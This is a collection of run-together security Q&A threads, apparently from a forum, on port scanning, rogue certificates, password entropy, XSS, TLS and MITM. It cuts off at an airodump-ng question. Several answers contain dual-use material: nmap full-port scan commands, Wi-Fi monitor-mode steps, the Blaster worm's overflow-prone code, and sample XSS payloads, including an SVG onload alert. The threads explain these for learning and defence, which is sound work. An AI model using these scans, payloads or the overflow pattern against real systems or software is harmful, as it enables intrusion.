This may be what you're looking for:

http://tinyradius.sourceforge.net/


How to scan for ports opened by TCP/UDP sockets with nmap or any other tool? I'm new to nmap and I've been digging with it lately to scan some devices on the current LAN for ports opened by socket programs which are running.

First I ran a simple UDP server on my machine on port 55555 and I scanned the localhost with these options:

nmap -sT -sU -d -d localhost

(I know -sT is useless for this case but I tried it in all my trials)

It shows port 55555 as closed. I terminated the server process and still the port is closed.

I'm not sure if I can scan for TCP/UDP socket ports by nmap. Is it possible to do it with nmap or some other tool?

I believe you should understand TCP/IP fully, how interconnections are made, filtered/blocked fully. For starters -sT (TCP connect) is the most reliable type of connection since it completes a full handshake. NMAP output varies based on what you are scanning, whether or not the targets have filtering/firewalling. There is a simpler way of seeing what ports are opened on your systems. It's called netstat. By logging into any one of your machines, you could just run a netstat on those machines to see what is established, and or listening. This will give you a more accurate picture of the application using a port. (e.g., if for some reason I assign port 21 to my http server, you will see it versus assuming I am running FTP).

But back to your question on seeing output. There are two views here (being you typed localhost)... What YOU will see, versus what someone outside of the LAN will see. If you're on a Linux/BSD system, you don't need to run nmap. You could use LSOF:

$ sudo lsof -i -n | awk '{print $1"\t"$8"\t"$9}'

This will show you all network based sockets in use. But if you STILL want to use nmap, you need to understand how nmap works by default (e.g., how many ports will be searched, since by defaultnmap will only scan 1000 most common ports. Service running on say port 24681 will not show up. It's uncommon).

But you STILL want to use nmap. I suggest to get a full view you try:

nmap -sT -Pn -T2 -vvv -A -p 1-65535 localhost

This will work fine, will take some time locally, and will NOT work well against non-localhost. This is because all networks are not the same. For example, if a network is VLAN'd, PVLAN'd, or separated/intersected with say IPS/IDS/Firewalls may respond different. For example, if a switch has some creative ACLs, your switch may intercept, and respond to the NMAP scan (not the target). This is usually the case when you see a target responding as if ALL ports are opened.

SUMMARY: To see what is running on YOUR machine, you're better off logging into it, and using something like lsof or netstat. If you're testing against your network LOCALLY (on the same subnet) you may need to fiddle with different services (TCP/UDP), timing (slow versus fast/insane scans), ports, and so forth.


My network stops working when a certain network appears, am I being hacked? Just to be honest, I know very little about wireless networks and wifi. My problem is that recently I've noticed that when I'm at home, sometimes another unknown network called "Black Parasite" shows up on my networks list. And when it does, my home network either gets wiped off the list, or it starts having connection issues (can't connect to internet, etc). I've tried restarting the router, but the connection problems persist as long as Black Parasite is present. I just want to know if I'm being hacked, or what could be happening.

P.S. I was going outside once when I spotted the network...the signal seems strongest in front of a certain house on my street--could that be a hacker?

UPDATE: may be unrelated, but really shady SSIDs have been popping up, which I found amusing. this happen to anyone?

This is not a security issue, but a WIFI spectrum conflict issue. This is quite common if you use 2.4Ghz 802.11b/g/n. With many people that subscribe to similar ISP in an adjacent area(e.g. apartment), this makes the situation worst, e.g. default ISP WIFI router always set to specific WIFI channel.

You can mitigate this issue by:

Experiment with another channel
Install WiFi analyzer, and choose a channel that is less like conflict with other
Solution 1 will not help if there is too many WIFI routers. Get a 5Ghz 802.11n/a/ac, together with correspondence USB WIFI dongle.  Use Wifi analyzer if you want to avoid another neighbour that use 5Ghz WIFI.  Because 5Ghz are not as penetrating as 2.4Ghz, so you don't need to worry much about 5Ghz spectrum conflict with your neighbour.(unless you live in HK/Japan with extremely small apartment)


How to Check for Dangerous Authority root Certificates and what to do with them? I started my exploration after I saw that one program adds some lines to certmgr.msc (PC wasn't connected to the Internet, so, I don't think, that this cert can be downloaded by MS). Installer of the program contains this .p12 file, Virustotal says it is clear, but I did some more research. I checked my Certificate store using

sigcheck -tuv

A rather strange certificate was found:

User\Root:
   Google
    Cert Status:    Valid
    Valid Usage:    All
    Cert Issuer:    Google
    Serial Number:  00 CD 0B 32 EF B4 F4 CD 13
    Thumbprint: 33FCD70343BBE07972D73CDEFDEB3C9F4DCEFE28
    Algorithm:  sha1RSA
    Valid from: 0:05 22.07.2015
    Valid to:   0:05 21.07.2020

There is too low info about

  Thumbprint:   33FCD70343BBE07972D73CDEFDEB3C9F4DCEFE28

on the Internet, but I found some interesting links (sorry, I am a newbie on this forum and can't post more than 2 links, I posted others as quotes to this topic).

Now, I am very scared and confused. I do not understand what kind of danger it creates. And I don't know what to do with this. I am absolutely sure I didn't install this certificate manually. The same certificate was found on another computer on my local network.

I need to add that I also checked my computer with several "on demand" AV scanners (CureIt, KVRT), they did not see any problem in this certificate.

The result of execution certutil -verify -urlfetch is

Поставщик:
    CN=Google
    O=Authenticode
    L=Silicon Valley
    C=US
  Хэш имени (sha1): 407d40e1a0d9d25bb8196644ddfda715a850b236
  Хэш имени (md5): bf22e164aaf0a93af128e23e7a26f74c
Субъект:
    CN=Google
    O=Authenticode
    L=Silicon Valley
    C=US
  Хэш имени (sha1): 407d40e1a0d9d25bb8196644ddfda715a850b236
  Хэш имени (md5): bf22e164aaf0a93af128e23e7a26f74c
Серийный номер сертификата: cd0b32efb4f4cd13

dwFlags = CA_VERIFY_FLAGS_CONSOLE_TRACE (0x20000000)
dwFlags = CA_VERIFY_FLAGS_DUMP_CHAIN (0x40000000)
ChainFlags = CERT_CHAIN_REVOCATION_CHECK_CHAIN_EXCLUDE_ROOT (0x40000000)
HCCE_LOCAL_MACHINE
CERT_CHAIN_POLICY_BASE
-------- CERT_CHAIN_CONTEXT --------
ChainContext.dwInfoStatus = CERT_TRUST_HAS_PREFERRED_ISSUER (0x100)

SimpleChain.dwInfoStatus = CERT_TRUST_HAS_PREFERRED_ISSUER (0x100)

CertContext[0][0]: dwInfoStatus=10c dwErrorStatus=0
  Issuer: CN=Google, O=Authenticode, L=Silicon Valley, C=US
  NotBefore: 22.07.2015 0:05
  NotAfter: 21.07.2020 0:05
  Subject: CN=Google, O=Authenticode, L=Silicon Valley, C=US
  Serial: cd0b32efb4f4cd13
  28fece4d9f3cebfdde3cd77279e0bb4303d7fc33
  Element.dwInfoStatus = CERT_TRUST_HAS_NAME_MATCH_ISSUER (0x4)
  Element.dwInfoStatus = CERT_TRUST_IS_SELF_SIGNED (0x8)
  Element.dwInfoStatus = CERT_TRUST_HAS_PREFERRED_ISSUER (0x100)
  ----------------  Сертификат AIA  ----------------
  Отсутствуют URL "Нет" Время: 0
  ----------------  Сертификат CDP  ----------------
  Отсутствуют URL "Нет" Время: 0
  ----------------  OCSP сертификата  ----------------
  Отсутствуют URL "Нет" Время: 0
  --------------------------------

Exclude leaf cert:
  0907d8af90186095efbf55320d4b6b5eeea339da
Full chain:
  28fece4d9f3cebfdde3cd77279e0bb4303d7fc33
------------------------------------
Проверенные политики выдачи: Все
Проверенные политики применения: Все
Не удалось проверить состояние отзыва сертификата
CertUtil: -verify — команда успешно выполнена.

(System language: rus)

A little later... I found another "strange" certificate, "Dekart Certificate Authority", there is too low info about them, but some sites note, that this is an additional WebMoney (WM Transfer Ltd, Russian analog of PayPal) certificate. Ok, but why sigcheck detects main WebMoney certificate as absent in the MS trusted list, but don't detect Dekart? This is some kind of mystic. Generally speaking, where can I see this list in plaintext form?

Yeah, that looks fake to me, I agree with your link. These lines in particular are suspicious:
Google
  Cert Issuer:    Google
  Algorithm:  sha1RSA
  Valid from: 0:05 22.07.2015
  Valid to:   0:05 21.07.2020

Let's dissect this and compare it against the cert presented when I browse to google.com.
Root CA
What you posted is a self-signed Root CA cert, we can tell because the subject and issuer are the same
Google
  Cert Issuer:    Google

Google does now own their own Root CA; it looks like they have an intermediate CA off a GeoTrust root:

Algorithm
Algorithm:  sha1RSA

Yeah, that's wrong. Google has been waging war to remove SHA1 from the internet since about 2015: as of January 2017 Google Chrome browser no longer displays the green lock icon for SHA1 certs, and in February 2017 Google researchers demonstrated the first publi collision attack against SHA1. So yeah, there's no way in hell Google would issue themselves a SHA1 cert in 2015 and continue to use it until 2020.
For comparison, the real Google Internet Authority G2 uses SHA-256 With RSA and renews it cert every year and a half (currently valid from May 2017 to Dec 2018).

Advice
I would delete that cert from your trust store, and see if anything stops working. Keep running regular virus scans out of fears that your system is already compromised. If that cert (or ones like it) show up in your trust store again, it might be time to wipe your hard drive and re-install the OS.
Update
In response to the extra info you posted:
Subject: CN=Google, O=Authenticode, L=Silicon Valley, C=US

LOL! Yeah, that's completely bogus. Here's how Google actually identifies itself in a certificate:
CN=*.google.com, O=Google Inc, L=Mountain View, ST=California, C=US


How can one test if a password generator is cryptographically secured? Given the plethora of random password generators (RPG) available, I'd like to do some black box testing on some.

Let's take https://passwordsgenerator.net/ for example. Assuming the whole generator is a black box with 0 information about how the passwords are generated (can't even view the .js stuff), and all we have is a "Generate password" button that somehow outputs a seemingly random password each time it's clicked.

We do NOT know:

Who made or hosts the RPG
What algorithms are used to generate the password
How they get the randomness (Atomic decay? Lava lamps? Monkeys on type writers? People trying to exit Vim?)
Source code.

What we know:

If you click "Generate password", you get a seemingly random password

We can get thousands or millions of passwords as testing data. Given just those passwords, can we analyze them to figure out (even just estimate) how cryptographically secured the RPG is?

(I'm not looking for processes enough to generate whole reports and research papers. I'm just thinking of a way the common people can do a "quick" and rough test on the RPGs, maybe to choose between the common RPGs)

It is very hard to evaluate the quality of a random password generator without knowing its underlying algorithms. The quality (the entropy) depends essentially on 2 elements:

the number of possible combinations
the equivalence of probability of different combinations

The problem is that a random generator that would iterate over 10 millions random password phrases will be a very poor password generator if the attacker could know the used passphrases. But if you only use several thousands of generated passwords it will look very good.

If you really know nothing, you can do little more than testing a rather large sample for collisions: if at least one password occurs more than once, chances are that the generator has a low entropy. But unless you can test for very large samples (the magnitude order of the expected entropy) no collision is not a sufficient proof of quality.

So my advice is: if you do not know enough from the generator, just do not use it.


Private way to connect to my SQL Server database I'm running on linux and I am using a SQL Server database server on some other machine.

My python code has to sit in a directory that many other users have read access to.

I also have a "GenericTaskRunner" linux user And "GenericTaskRunner" databaseuser.

How do I connect to the SQL Server database using the "GenericTaskRunner" linux and SQL Server user without leaking "GenericTaskRunner"'s database credentials?

You could create stored procedures that ONLY do what your script needs to do and then limit GenericTaskRunner's permissions on the database to allow it to execute those stored procedures ONLY. This way, even if the rest of users have the database credentials, they can only do what the script can do.

If this was not enough, then you should consider executing your Python script on a server instead of giving all users access to it.

Edit: I see in the comments that you plan to execute the Python script automatically as a Linux user. Another option is to store the database credentials in a file which only that user has read access to, and read it from the Python script when connecting to the database.


TLS/SSL over USB using OpenSSL I want to secure the communication of an embedded device that is connected to a host via USB.
At the moment I'm considering using the openssl library. I can use it on the embedded device and on the host (win/linux).
Is it possible to use USB endpoints instead of sockets to establish a secure SSL connection via USB using openssl?

Edit: Sorry I misread our question. Yes, it is possible to switch the Transport Layer. You can just switch the send/read functions of the Transport Layer (TCP) with whatever you want. However, you have to keep the Server/Client structure. Also, your Transport layer has to be reliable (as explained below) or you have to use DTLS.

Even if this might not be the scope of Information Security, i'll answer anyway, because I am working on a very similar topic on my bachelor thesis. I do not use OpenSSL or GNUTLS because their memory footstep is too big for my application.

Take a look at the Comparison of TLS Libraries on Wikipedia. There is a table for portability concers where the column No OS might be interesting for you. Since I also compared libraries for myself, here the results:

I compared

GuardTLS (previously MatrixSSL)
WolfSSL (previously CyaSSL) and
mbedTLS (previously PolarSSL).

First up: If you search for a free Open Source implementation which is not GPL licenced, mbedTLS is what you are looking for. With its Apache licence u can use it for Closed Source projects without any hassle.

GuardTLS is not very exciting imo, they are not very active GitHub on either. The WolfSSL team is very active on GitHub and the product looks very promising. The mbedTLS GitHub repository is much more endorsed by the community, though. I went for mbedTLS in the end. It always depends on your needs though.

One last hint: If your transport layer is not reliable (packets out of order or packet loss), then you need to use DTLS (TLS for datagram protocols). All of the above libraries support DTLS.


BadUSB tarned as Mass Storage Can an USB Device be infected with BadUSB if Windows recognizes an USB Device as an USB Mass Storage?

The Windows Event Log identifies the Device as SWD\WPDBUSENUM\_??_USBSTOR#DISK&VEN_KINGSTON&PROD_DT_101_G2

How high is the risk that this USB Device is a BadUSB Device?
Malwarebytes and Avast did not recognize any malware (Full scan)

That is exactly the point of BadUSB, at first it looks like a mass storage device, but because of the way USB operates, this function can be renegotiated. It can tell the computer it is now a keyboard, give it some commands and return to being a mass storage device.


Can I prevent XSS attacks with MySQL REPLACE function? Can i preventing XSS attack by MySQL REPLACE function? Is this safe and acceptable method?

Example below:

INSERT INTO persons(Name, Surname)
VALUES(REPLACE('<script>alert("Test")</script>', '<script>', ''), 'Sample Value');

This is a really cack-handed way to attempt protect your application. Never try to transform input like this; it is a very long way from being effective in its objective, it is not maintainable/extensible, it will end up trashing your data.

The golden rule is to validate input and escape output

Check content against a set of rules, reject it and flag a problem for non-compliant data. Whenever data moves from one domain to another (e.g. from PHP or python or PERL to mysql, or from your program to an html stream) then make sure that the representation of the data isolates it from the construct it is being injected into.

There are good libraries for escaping output for a variety of languages and a variety of targets (including SQL and HTML). Start by learning how to use them effectively.


Does S/MIME provide means to propagate a certificate's revocation? Can a revocation certificate for an old X.509 certificate be attached to an email in addition to a replacement certificate in such a way that the client user does not have to manually intervene? Or would the respective CA have to set up a CRL or OSCP server?

In X.509, all revocation goes through objects signed by certificate issuers. The decision to revoke or not revoke is not in the hands of the certificate owner, but of its issuing CA. The CA makes its decision known by including or not including the target certificate serial number in the CRL it produces (ditto for OCSP responses, which are just CRL with a scope reduced to a single certificate).

S/MIME relies on CMS (formerly known as PKCS#7) for the format of signed and/or encrypted emails. CMS can embed arbitrary "helper objects", including CRL and OCSP responses, if whoever assembles the message thinks that these CRL or OCSP responses might be helpful to recipients for the certificate validations they will perform. This can be used in case the CA does not have a reliable way to push its CRL in a place where the recipient will be able to grab them (a relatively rare scenario: people who receive emails often have an Internet access). Nevertheless, these CRL or OCSP response must necessarily come from the CA (or an entity to which the power was delegated, e.g. an OCSP responder).

In the X.509 model, everybody is assumed to be able to obtain fresh CRL or OCSP responses (and they should reject certificates if they cannot). In S/MIME, the sender's certificate is included in every email he sends, and recipients are supposed to automatically record the received certificates; when they respond, their tools should pick up the newest known certificate (after validation with revocation check, of course).


How did the "Blaster" worm trigger buffer overflows? In "The Security Development Lifecycle" book, Michael Howard wrote:

  Take as an example the coding bug in Windows RPC/DCOM that the Blaster worm took advantage of (Microsoft 2003). The defective code
  looks like this:

HRESULT GetMachineName(WCHAR *pwszPath,
     WCHAR  wszMachineName[N + 1]) {
     LPWSTR pwszServerName = wszMachineName;
     while (*pwszPath != L'\\' )
         *pwszServerName++ = *pwszPath++;
     ... }

  In this code, the attacker controls the pwszPath argument so that she
   can overflow the wszMachineName buffer. This code bug was not picked
   up by any tools available within Microsoft...

I implemented many codes like the above example previously but I can't find any wrong with it and after testing the above code I still can't find a way to Overflow wszMachineName but as he mentioned this code is vulnerable to buffer overflow.

So my question is: How can an attacker take advantage of above code, like the blaster worm did?! I passed a large number of 'AAAA's to program but, but it continues without crash or problem.

If you have control over pwszPath then you can pass a very large string to exceed the buffer.

I'm not sure what else to say.


Can NIDS alone protect the Servers in our network, or we need HIDS application as well? I have problem with some institute server. The scenario is like below.

There is an institute (Government/Corporate/Industry) that have their own dedicated server. But there is no other security services or firewall that were implemented on these servers other than a basic server security which came from the developer of those server. I, as one of many admin data center for this ( I am currently like a Junior Admin data center, a newbie) institute tried many things  to make a security system to prevent some malicious attack, hacker attack that tried to steal Institute data or tried hijacking our server.

Rather than looking for NIDS which is "secure" our network traffic and such, I found an application called "OSSEC", an Open Source HIDS application. You could find more information about this apps in here. I used OSSEC to collect and analyze, however to visualize the logs, I used ELK. Before I install the apps onto servers, I found an app called, WAZUH , which is integrated OSSEC with ELK, so rather than installing OSSEC and ELK in seperate ways, I used Wazuh App for given that apps installed in one go. I tried to install that in my server, install many agents, and do many configuration like in wazuh documentation. It works great like it can prevent like bruteforce attack, any authentication failures, rootkit detection, confirm some malicious files/conf and such. I though at that time, this is the "greatest" security app i ever seen.

A months later, there is a new machine called Cisco ASA 5516-X that came to our Institute. I never heard of this machine before, but they said this machine is a "superior" among other security machine, as you can see at the price on Amazon. Short story, they implemented this machine to the servers. And they tried to deactivate or maybe shutdown the services of the Wazuh App. I disagree with to the other admin, i said, it's better to keep the wazuh app running, in our own servers, but they said, "We dont need any other security since we have this machine, it secure the network traffic, and many things, so we should turn off and shut down any services app like wazuh app or other thing". Does what they said is true, are we safe from any harm situation if we already used the "NIDS" rather than used HIDS ?

They serve different purposes. While a NIDS covers your servers in term of network level traffic it may not be sufficient on its own. For instance any SSL encrypted connection will not be transparent to the NIDS, which means that whatever is sent across to your servers, it won't be able to see it.

Additionally, a HIDS is also a lot more valuable than a NIDS in case of incident response. a NIDS does not report on changed files on a server as it doesn't have access. OSSEC does and it's useful to see what was modified if an attacker manages to breach your server.

They are complimentary and not exclusive. Also stating that something is far "superior" purely based on price is rather ignorant.


Should I use SSL in a secured file sharing service? I am developing a secured file sharing project using Java RMI. The files' content has to be secured. The server will store the encrypted files and the client will be able to upload/download/list files (with password authentication).
I am new to security and would appreciate any additional security measures I could implement/correct.

Right now I am thinking of using encryption on the files/passwords/metadata to transport them from the client to the server. Once they reach the server, I would store the encrypted files and would decrypt the passwords, so I could store the SHA256/SHA512 passwords on the database. (Does this make sense?)

Now, I have heard of SSL which encrypts the content of the packets sent and received (if I'm not wrong) and provides some kind of authentication.

Is it necessary to add SSL (or replace with SSL instead of what I idealized) in my case?

Thank you.

Yes, please use SSL to secure the transport channel you're delivering the files over.  Crypto is hard, and you should never try to implement your own.  For more information on exactly what SSL is, please see: How does SSL/TLS work?


HTTPS everywhere rulesets confusion When using HTTPS everywhere I frequently notice the ruleset counter next to the search bar. I understand the counter represents the number of rulesets for each page, which can be seen by clicking next to the number.

It makes sense for some pages to have many rulesets, as it it obvious that they are plugging into other locations to retrieve other media. However, on other websites, I am at a loss to understand why there could be more than a single ruleset. For example, on the BBC's website, I am getting two outside rulesets (one from Optimizely, and one from Google Services Simple). It is not clear from looking at the BBC homepage that any media is retrieved from elsewhere.

I haven't administered a website in some time, so maybe there are new things I don't know about. But shouldn't any rulesets which are being loaded be obviously due to a media retrieval (such as adverts)? Otherwise, I can't see what the ruleset is doing.

If you look in the source code of BBC's homepage you can see that it includes javascript from optimizely and google.

If HTTPS everywhere has a rule for a domain it will be used, if a page includes javascript from that domain too.

Optimizely is a cdn, while the google part is probably used for their analytics.

You can also look in Network statistic (Tools -> Web developer -> Network in firefox), to see all the requests to different domains.


Smurf Attack confusion I have a question regarding the Smurf Attack described in the following CISCO article:

http://www.cisco.com/c/en/us/about/security-center/guide-ddos-defense.html#9

  In a smurf attack, an attacker broadcasts a large number of ICMP packets with the victim's spoofed source IP to a network  using an IP broadcast address. This causes devices in the network to respond by sending a reply to the source IP address.

Now looking at the picture in the article, I assume the "attacker" is sending a ICMP packets with the victim's spoofed source IP to a network (it might by any network, right?) using an IP broadcast address. I also assume that the "victim" host is on a complete different network, hence my question is where to configure no ip directed-broadcast ? If the echo replies are sent back from the network we sent the ICMP packets to, it will have each system on that network the corresponding IP set as src address and the destination will be the victims IP. So how does this protect the victim ?

You are the "attacker", not the victim

In the described scenario, it protects your systems from being used to attack some third-party victim. If everybody does this, this also helps potential victims indirectly by making this attack ineffective or hard to perform.


Is it possible to take back the control from an MITM in progress? I heard that MITM also involves DNS poisoning, which basically tells the Net
to take a different route than it was supposed to go..

(I'm not sure if my interpretation is correct..)

Given there is an MITM attack happening towards my computer, would it be
possible to reverse poison, and cut the MITM out ?

When you are under an MITM attack, typically the attacker has complete control of part of the link between you and your intended destination. For this reason, it is usually difficult to "bypass" MITM, if done correctly, because the attacker is fully in control of your traffic and free to direct it to wherever he pleases. The attacker can basically just ignore all routing protocol, and direct all of your traffic to the attacker's server, regardless of intended destination.

Also, an MITM does not have to involve someone "worming their way in". Anyone who controls a router or cable link between you and your destination can easily MITM because they already control your Internet traffic. Whenever you communicate through the Internet, your traffic probably goes through at least a dozen routers owned by various Internet companies before it reaches its destination. You can see this for yourself if you run a traceroute command.

If any one of those router operators decide that they want to do something malicious, they can easily reconfigure their routers to send your traffic somewhere else, rather than follow routing protocol and forwarding it on to the next router.

It is, however, possible to detect that a MITM is occurring by utilizing public key cryptography combined with a certificate system to verify the identity of the person you are communicating with, as HTTPS does. But once you detect a MITM, there's usually not much you can do about it - your options are basically either to immediately stop what you're doing, or attempt to establish an encrypted VPN tunnel to a trusted location and hope that the attacker does not notice and block your VPN.

If you want to truly "bypass" the MITM, you would have to get your traffic to take another route to the destination, one that goes around the attacker. In some situations, that's impossible - for example, if the attacker is your ISP, then there is literally no other route your traffic can take because your ISP is your sole link to the Internet. But even if there is an alternative route, it is still difficult because you don't really have any control of how your traffic is routed. It would be nice if you could tell all the routers handling your traffic, "Hey, I think Router XXX is doing MITM, could you please not send any of my traffic there? Thanks." But since there is no easy way to do that, you are basically at the mercy of the routers' decisions. If you are lucky, perhaps a benevolent router operator will notice that a neighboring router is acting funny and stop sending traffic there, but that's pretty hit-or-miss.

Oftentimes though, the attacker is not someone who is "naturally" between you and your destination, but is instead on your local network and playing tricks on the LAN (like ARP spoofing, or DNS poisoning) to get your computer to send traffic to a place where it would not normally send it. This is where it gets murkier, and where the answer is going to depend on both the technique used and the amount of control you have over the network you're on. For example, if you are on your home WiFi network and the attacker manages to connect to your WiFi to do MITM, then it's easy -  just change your WiFi password and boot the attacker off your network. But if it's at a public place, then obviously it will be more difficult.


How does Malwarebytes intercept web traffic? I use Malwarebytes and the web filter functionality puzzles me. As far as my research has found, antivirus engines typically use a proxy to intercept web requests which typically there would be evidence in the certificate used to encrypt the connection (ie the issuer certificate), however Malwarebytes is able to intercept web requests and doesn't show a custom certificate.

This has me confused cause my research so far has shown:

You have to use your own CA and certificates in order to decrypt the web traffic
You have to add it to your system and browser's trust stores for certificates

Malwarebytes however, doesn't appear to do any of the things above and is still able to intercept both SSL and non-SSL traffic. It intercepts traffic from every program.

I am mainly wondering how they do this? Presumably they use Windows Filtering Platform in order to do this, but in what way do they use it? I'd imagine there has to be some sort of configuration change, or something of the like in order to do this?

I wasn't sure whether or not to ask this on StackOverflow since it is to do with specific software and how it works, rather than specifically with coding.

I don't know the actual answer, but my guess would be that it's installing an API hook in Windows that intercepts the data prior to it hitting encryption.

[HTTP request]->[MBAM]->[TLS Encryption]->[Network]

If you're saying it didn't automatically add a trusted cert to your system's store, then that's the second easiest method that I can think about.


Content-Security-Policy (CSP) HTTP Header useful for direct link to image? Is there any reason to show a Content-Security-Policy (CSP) HTTP Header for direct links to images such as https://invalid.tld/direct-link-to-image.jpeg?

If you are sending the correct type in the Content-Type header, the X-Content-Type-Options is set to nosniff and the image is not in SVG format, CSP shouldn't be necessary. CSP is also not necessary if the content is trusted (i.e. not user-generated) and static.

User-generated SVG is dangerous because the user can upload something like

<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS!')"></svg>

and send a direct link to another user.

However note that although in some cases there is no reason to enable CSP, there is also no reason not to enable CSP (other than saving a few bytes). If you accidentally disable CSP for dynamic HTML pages, you can open your website to more XSS attacks.


When to use only biometric authentication? I have seen a variety of banks allowing access to their remote banking environment with just your fingerprint (via iphones and similar devices). Are these valid examples of a wider group of cases where pure biometric authentication is acceptable, or is this just a failure of the banks in question?

I am of the school of thought that Biometrics are NEVER acceptable to use as the only authentication method, you leave your Biometric data everywhere, it is almost a security paradox. I can lift fingerprints off of your keyboard, car, or elevator panel, I can make a voice recording of you, I can take your picture, get your face off a security camera, and I am Bad Guy Bob - I will jump you at your car and cut off/scoop out whatever I need.

Some other examples/articles of people who think BMs are negligent to use:

http://www.makeuseof.com/tag/6-reasons-biometrics-not-way-future/
http://www.usatoday.com/story/cybertruth/2013/09/12/why-biometrics-dont-work/2802095/
http://www.csoonline.com/article/2891475/identity-access/biometric-security-is-on-the-rise.html

You also have to realize that there is an error-of-margin built into these Biometric security solutions, all it takes is for your to roll your finger on the scanner wrong or squint with a retinal scanner for it to scream at you and say ACCESS DENIED - making them easier to defeat, and unlike changing a password, or salting a hash, you cannot change your fingerprints easily nor change your retinas - once you are compromised, and use biometrics extensively, there is no way to quickly change.


How genuine are password entropy calculations? I apologise for perhaps the confusing title, I'll try and elaborate a little better.

Many discussions I see surrounding password entropy focus on the specific context of the range of choices available for that nominated data. In isolation this is fair enough, but it seems to ignore the possibility of choosing that range of data in the first place. Perhaps an example would better illustrate.

In another very recent question, a bible verse was considered to have drawbacks for a password, as there are (apparently) ~33,000 bible verses. This leads to an entropy of 16 bits from my understanding. When looking at say a case insensitive latin alphabet password, it has 4.7 bits of entropy per symbol, so if you compared entropies a 4 digit upper / lower case password (4.7 * 4 = 18.8 bit) password should be 'harder' to guess than a randomly chosen bible verse.

Wouldn't it be fair to say though that a password is much more likely to under go a brute force attack as opposed to be checked as valid bible verses? Is not the 4 digit password significantly weaker than a bible verse? Can we ever judge the entropy of a password ignoring the liklihood of the data range selection? I'm just curious as to how valid it is to say password XYZ is bad because there isn't much variety in a datasets, given that it's extremely unlikely that an attacker will be able to narrow down the dataset used for password choice so specifically.

Sorry security newbie, but it just struck me as odd that someone may use entropy to justify why something such as a long bible verse may be a bad password.

"Entropy" for a password is (roughly) a description of how many different passwords you could have obtained. In the case of the "Bible verse" password, the password generation process is a choice among about 33000 possible verses, which means about 15 bits of entropy (because 215 = 32768). Entropy qualifies the process, not the result.

The usual security stance is to assume that the attacker is smart. In particular, he more or less knows what password generation process we used. This makes a lot of sense in corporations and big organizations, where the security administrators publish guidance to users about how to choose a password: it seems fair to assume that most users will follow these rules, especially if the security admins implemented automatic tools to verify (to some extent) that the password follows these rules. For "personal" passwords, attackers may assume that the user is following one of the few "password generation methods" which are published throughout the Internet. Indeed, on this very site, we are discussing password generation methods, and we do it in plain view.

Any reasoning along the lines of "the attacker will surely try random passwords first" or "the attacker will never think of using a sentence from book X" is inherently flawed in the following way: it assumes that the attacker is just a random anonymous hacker who cracks passwords for the fun of it, without knowing who he is attacking. It is a tame attacker who is allowed to try passwords but not to try very hard. It denies the existence of smart attackers who are after you, specifically. Incompetence is the most widespread human trait and many attackers, being people, are afflicted with it; but experience shows that smart attackers exist nonetheless.

The psychological mechanisms behind this are reasonably clear: we want to consider ourselves as "smart". It is a humiliating experience to realize that, possibly, attackers are not only evil and naughty, but also more intelligent than us, and that we will not necessarily be able to beat them in a "battle of wits". This might be the most important insight that apprentice cryptographers must obtain at one point of their learning: we do not defeat the attackers by being smarter than them; we defeat them by throwing mathematics at them. In the case of passwords, "mathematics" are "quantifiable randomness".

Quantifiable means that you can measure how random your password is. "Eight random letters" is highly quantifiable: that's 268 = 208827064576, i.e. about 37.6 bits of entropy. "The attacker will never think of that": how much does this "never" represents ?

To a large extent, this is the same problem as security through obscurity. Which is not recommended for pretty much the same reasons.


Is L2TP as secure as IPSEC for VPNs? Is it as secure to use L2TP for VPN access, rather than IPSEC? Am I introducing any risks by using L2TP?

L2TP does not provide any confidentiality or authentication. A common setup is using L2TP along with IPSEC (see RFC 3193).

EDIT: L2TP does provide tunnel end-point authentication. It does not provide encryption and message authentication.


Increasing website data security level Could it be more secured using the "HTTPS" protocol for website data security and at the same time using another encryption algorithm (Elgamal) as well?

I know "HTTPS" could be used alone, but I found according to these links (Gone in 30 seconds - New Attack on RSA-based SSL/TLS Protocol) that it could be attacked, and data security is so critical in my system, so I need a high level for it.

No, there are two reasons while coupling SSL with "ElGamal encryption" won't make your data "more secure".

The first reason is that among the two known attacks that you link to, one has been fixed for long (it is a variant of Bleichenbacher's attack from 1998, using a padding oracle; it is fixed by making the SSL server not reporting padding errors at the RSA stage), and the other is generic upon the use of compression on a data stream which contains secret data and attacker-chosen data at the same time (as long as encryption leaks information on the encrypted data length, compression will be an aggravating issue, regardless of the encryption algorithm, even if several are piled on each other). Putting some other algorithm in the mix would not offer any significant advantage for either.

The second reason is that your suggestion does not make sense. ElGamal is an asymmetric encryption algorithm (named after its inventor) which, by nature, encrypts only a single short element (no more than a few hundred bytes). If you were cascade SSL with some other encryption system, that other encryption system would be a symmetric encryption algorithm (e.g. the AES), any asymmetric algorithm like ElGamal being used only for an initial key exchange... just like SSL does with RSA or Diffie-Hellman.

Indeed, when you write this:

  I know "HTTPS" has the same function as "Elgamal"

well, you are wrong. The two things are not comparable and don't have the same function.


How does the SSL connection protocol work with self-signed certificate? I'm using the self-signed certificate, but I don't know how this protocol works. I connect two apps with a socket SSL and it works fine. The server is a Python app and the client is an Android app. I created the self-signed certificate with openSSL, now I have two files: the private key and self-signed certificate. The server uses all files but client only uses self-signed certificate.

I found many pages explaining the protocol connection with signed certificate and CA, but none with self-signed without CA.

Protocol with signed:
    Client                                               Server

ClientHello                  -------->
                                                ServerHello
                                               Certificate*
                                         ServerKeyExchange*
                                        CertificateRequest*
                             <--------      ServerHelloDone
Certificate*
ClientKeyExchange
CertificateVerify*
[ChangeCipherSpec]
Finished                     -------->
                                         [ChangeCipherSpec]
                             <--------             Finished
Application Data             <------->     Application Data

(This schema has been shamelessly copied from the RFC.)

How about with a self signed certificate?

In the SSL protocol (now called TLS), the certificates are a black box: from the point of view of SSL, the certificates are received from the server, and somehow the public key to use becomes known to the client. The certificates are a vessel used to convey the server's public key to the client, and all the CA business is a way for the client to gain some assurance that the received public key is indeed the correct one from the intended server.

When the server uses a self-signed certificate, the client cannot transfer any trust from a known CA in order to ascertain that the received self-signed certificate is the genuine thing, and not an imitation from some active attacker. However, if the client already has knowledge of the server's public key (e.g. during some prior installation phase, under controlled conditions, the server's self-signed certificate was shown to the client, and the client remembers it), then the client, by definition, knows the right server's public key, and uses it.

In any case, the SSL-level protocol is completely unchanged. The server stills sends a Certificate message, and the client still uses the server's public key for its ClientKeyExchange message.


Airodump on wireless interface error I'm unable to airodump on my wlo1 interface.

To set things up, first I set wlo1 to monitoring mode:

sudo ifconfig wlo1 down
sudo iwconfig wlo1 mode monitor
sudo ifconfig wlo1 up

After running netstat -i

Then I run

sudo airmon-ng check wlo1

and kill all shown processes until none remain.

Then I want to run airodump:

sudo airodump-ng wlo1

and I get the error:

